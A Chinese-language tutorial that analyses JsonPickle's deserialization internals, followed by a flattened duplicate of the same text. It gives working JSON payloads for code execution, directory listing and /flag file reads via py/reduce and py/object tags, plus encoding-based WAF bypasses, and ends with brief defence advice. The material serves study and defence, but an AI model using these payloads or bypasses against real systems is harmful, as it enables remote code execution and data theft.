从源码看JsonPickle反序列化利用与绕WAF
字数 1268 2025-08-22 12:23:00

JsonPickle反序列化漏洞分析与利用技术

1. JsonPickle简介

JsonPickle是一个Python库,用于将复杂的Python对象序列化和反序列化为JSON格式。与Python内置的json库或第三方库如simplejsonujson等只能处理基础数据类型不同,JsonPickle能够处理更复杂的Python对象。

1.1 基本功能

  • 序列化:将Python对象转换为JSON字符串
  • 反序列化:将JSON字符串恢复为Python对象
  • 支持自定义JSON后端(如jsonsimplejsonujson等)

1.2 安全声明

官方文档明确指出:

  • 对于未受信任数据的反序列化,应考虑使用HMAC对数据进行签名
  • 或使用内置库JSON这种安全的反序列化方法
  • CVE-2020-22083披露了不安全反序列化漏洞,但官方认为这是开发人员需要注意的问题

2. 反序列化流程分析

2.1 序列化示例

from dataclasses import dataclass
from time import time
import jsonpickle

@dataclass
class Token:
    username: str
    timestamp: int

t = Token("admin", int(time()))
print(jsonpickle.encode(t))
# 输出: {"py/object": "__main__.Token", "username": "admin", "timestamp": 1733814799}

2.2 反序列化核心流程

def decode(string, backend=None, context=None, keys=False, reset=True, safe=True, 
           classes=None, v1_decode=False, on_missing='ignore', handle_readonly=False):
    backend = backend or json
    context = context or Unpickler(...)
    data = backend.decode(string)
    return context.restore(data, reset=reset, classes=classes)
  1. 使用JSON后端解析字符串为JSON对象
  2. 根据JSON对象中的特殊标签恢复Python对象

3. 标签系统与利用技术

JsonPickle使用特殊标签来标识和恢复Python对象,以下是关键标签及其利用方式:

3.1 核心标签

py/object

标识一个Python对象,用于恢复类的实例

py/type

标识一个Python类型/类

py/function

标识一个Python函数

py/module

标识一个Python模块

py/reduce

模拟pickle的__reduce__魔术方法

py/repr

使用repr()字符串恢复对象

3.2 关键标签利用技术

py/typepy/functionpy/module利用

这些标签都使用类似的机制加载类和函数:

def loadclass(module_and_name, classes=None):
    names = module_and_name.split('.')
    for up_to in range(len(names)-1, 0, -1):
        module = util.untranslate_module_name('.'.join(names[:up_to]))
        try:
            __import__(module)
            obj = sys.modules[module]
            for class_name in names[up_to:]:
                obj = getattr(obj, class_name)
            return obj
        except (AttributeError, ImportError, ValueError):
            continue

利用方式

{
    "py/mod": "__main__/x.__dict__"
}
{
    "py/function": "__main__.__dict__"
}
{
    "py/type": "__main__.__dict__"
}

py/reduce利用

模拟pickle的__reduce__,可以执行任意函数:

def _restore_reduce(self, obj):
    reduce_val = list(map(self._restore, obj[tags.REDUCE]))
    f, args = reduce_val[0], reduce_val[1]
    stage1 = f(*args)
    return stage1

利用方式

{
    "py/reduce": [
        {"py/function": "builtins.eval"}, 
        {"py/tuple": ["__import__('os').system('calc')"]}
    ]
}

py/object利用

直接实例化对象并调用:

def _restore_object_instance(self, obj, cls, class_name=''):
    args = getargs(obj, classes=self._classes)
    kwargs = {}
    instance = cls(*args)
    return instance

利用方式

{
    "py/object": "subprocess.run",
    "py/newargs": ["calc"]
}

3.3 其他有用的py/object利用

  1. 列目录:
{"py/object": "glob.glob", "py/newargs": ["/*"]}
{"py/object": "os.listdir", "py/newargs": ["/"]}
  1. 读文件:
{"py/object": "linecache.getlines", "py/newargs": ["/flag"]}
  1. RCE:
{"py/object": "subprocess.getoutput", "py/newargs": ["calc"]}
{"py/object": "pickle.loads", "py/newargs": [{"py/b64": "KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJjYWxjIicKby4="}]}
{"py/object": "timeit.main", "py/newargs": [["-r", "1", "-n", "1", "__import__(\"os\").system(\"calc\")"]]}
{"py/object": "uuid._get_command_stdout", "py/newargs": ["calc"]}
{"py/object": "pydoc.pipepager", "py/newargs": ["a", "calc"]}

4. WAF绕过技术

4.1 编码绕过

JsonPickle默认使用json作为后端,json.loads支持多种编码:

def detect_encoding(b):
    if b.startswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)):
        return 'utf-32'
    if b.startswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)):
        return 'utf-16'
    if b.startswith(codecs.BOM_UTF8):
        return 'utf-8-sig'
    # 其他检测逻辑...

UTF-32-BE示例

import jsonpickle
import codecs

data = '{"py/object": "__main__.Token", "username": {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__(\'os\').popen(\'whoami\').read()"]}], "timestamp": 1733380109.0111294}'

with open('exp_utf32_be.txt', 'w', encoding='utf-32-be') as f:
    f.write(codecs.BOM_UTF32_BE.decode('utf-32-be') + data)

with open('exp_utf32_be.txt', 'rb') as f:
    data_bytes = f.read()
    token = jsonpickle.decode(data_bytes)

4.2 Unicode编码绕过

s = json.loads('{"a":"\\u0072\\u0065\\u0064\\u0075\\u0063\\u0065"}')
print(json.dumps(s))  # 输出: {"a": "reduce"}

5. 防御建议

  1. 避免反序列化不可信数据
  2. 使用safe=True参数(但仍有部分风险)
  3. 实现严格的WAF过滤:
    • 检查py/前缀的特殊标签
    • 过滤危险函数和模块(如evalexecossubprocess等)
  4. 使用HMAC签名验证数据完整性
  5. 限制反序列化的类白名单

6. 总结

JsonPickle提供了强大的序列化和反序列化能力,但也带来了安全风险。攻击者可以通过精心构造的JSON payload利用各种标签实现RCE、文件操作等。防御关键在于严格验证输入数据、限制反序列化的类和使用安全的替代方案。

JsonPickle反序列化漏洞分析与利用技术 1. JsonPickle简介 JsonPickle是一个Python库,用于将复杂的Python对象序列化和反序列化为JSON格式。与Python内置的 json 库或第三方库如 simplejson 、 ujson 等只能处理基础数据类型不同,JsonPickle能够处理更复杂的Python对象。 1.1 基本功能 序列化:将Python对象转换为JSON字符串 反序列化:将JSON字符串恢复为Python对象 支持自定义JSON后端(如 json 、 simplejson 、 ujson 等) 1.2 安全声明 官方文档明确指出: 对于未受信任数据的反序列化,应考虑使用HMAC对数据进行签名 或使用内置库JSON这种安全的反序列化方法 CVE-2020-22083披露了不安全反序列化漏洞,但官方认为这是开发人员需要注意的问题 2. 反序列化流程分析 2.1 序列化示例 2.2 反序列化核心流程 使用JSON后端解析字符串为JSON对象 根据JSON对象中的特殊标签恢复Python对象 3. 标签系统与利用技术 JsonPickle使用特殊标签来标识和恢复Python对象,以下是关键标签及其利用方式: 3.1 核心标签 py/object 标识一个Python对象,用于恢复类的实例 py/type 标识一个Python类型/类 py/function 标识一个Python函数 py/module 标识一个Python模块 py/reduce 模拟pickle的 __reduce__ 魔术方法 py/repr 使用 repr() 字符串恢复对象 3.2 关键标签利用技术 py/type 、 py/function 和 py/module 利用 这些标签都使用类似的机制加载类和函数: 利用方式 : py/reduce 利用 模拟pickle的 __reduce__ ,可以执行任意函数: 利用方式 : py/object 利用 直接实例化对象并调用: 利用方式 : 3.3 其他有用的 py/object 利用 列目录: 读文件: RCE: 4. WAF绕过技术 4.1 编码绕过 JsonPickle默认使用 json 作为后端, json.loads 支持多种编码: UTF-32-BE示例 : 4.2 Unicode编码绕过 5. 防御建议 避免反序列化不可信数据 使用 safe=True 参数(但仍有部分风险) 实现严格的WAF过滤: 检查 py/ 前缀的特殊标签 过滤危险函数和模块(如 eval 、 exec 、 os 、 subprocess 等) 使用HMAC签名验证数据完整性 限制反序列化的类白名单 6. 总结 JsonPickle提供了强大的序列化和反序列化能力,但也带来了安全风险。攻击者可以通过精心构造的JSON payload利用各种标签实现RCE、文件操作等。防御关键在于严格验证输入数据、限制反序列化的类和使用安全的替代方案。